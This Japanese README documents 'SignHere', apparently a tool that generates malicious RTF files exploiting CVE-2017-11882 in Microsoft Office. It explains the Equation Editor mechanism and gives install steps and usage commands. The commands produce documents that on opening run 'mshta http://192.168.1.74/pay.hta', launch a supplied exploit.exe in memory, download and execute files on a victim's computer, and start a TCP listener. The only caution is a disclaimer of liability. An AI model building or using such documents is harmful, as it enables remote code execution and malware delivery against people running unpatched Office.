SignHere

はじめに

CVE-2017-11882 - Microsoft Office 2007 Service Pack 3、Microsoft Office 2010 Service Pack 2、Microsoft Office 2013 Service Pack 1、Microsoft Office 2016 の一意の脆弱性識別子です。メモリ内のオブジェクトの処理が適切に行われないため、攻撃者が現在のユーザーのコンテキストでコードを実行できるようにする、いわゆる「Microsoft Office メモリ破損の脆弱性」です。 この実装には、悪意のある rtf 文書と VBScript のペイロードを構築するプログラムの作成が含まれます。

動作原理

rtf 文書は、特別なコマンド (RTF ヘッダー) を知ることで「プログラム」できるため、脆弱です。これにより、文書の本文内にバイナリ (実行可能) オブジェクトが作成されます。実際には、これは cmd コマンドを含むコードを持つ Microsoft Equation 数式です。その後、VBScript でペイロードを生成し、「mshta ペイロードファイルへのリンク」コマンドを使用して hta ファイルを実行できます。

注意!

作成者と貢献者は、あなたまたはあなたによって引き起こされたいかなる損害についても責任を負いません。

インストール

このプログラムの実行には Python 3 が必要です。

Linux

Termux を使用することもできますが、プログラムの実行には root 権限が必要です。

git clone https://github.com/Retr0-code/SignHere/
cd SignHere/
chmod +x SignHere.py
./SignHere.py --help

Windows

まず、アーカイブ をダウンロードする必要があります。次に解凍し、このフォルダで PowerShell ウィンドウを開いて次のように入力します:

.\SignHere.py --help

使い方

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --powershell "start iexplore.exe https://github.com/Retr0-code/SignHere" --ip 192.168.1.74 --output generated.rtf

--cmd 文書を開いた後に実行される Windows コマンドを指定する引数。

--powershell VBScript ペイロード内で使用される PowerShell コマンドを指定する引数。

--ip Web サーバーに使用される IP アドレスを指定する引数。(デフォルト: 127.0.0.1)

--output 文書の名前とパス。

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --temp exploit.exe --ip 192.168.1.74 --output generated.rtf

--temp ペイロードとしてバイナリファイルを使用する引数 (バイナリファイルは RAM メモリ上で起動します)。

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --payload exploit.exe --ip 192.168.1.74 --listener-host 192.168.1.74 --output generated.rtf

--payload 被害者のコンピュータにファイルをダウンロードして実行する引数。

--listener-host 現在の IP で TCP リスナーを起動するための引数。(デフォルト: 127.0.0.1)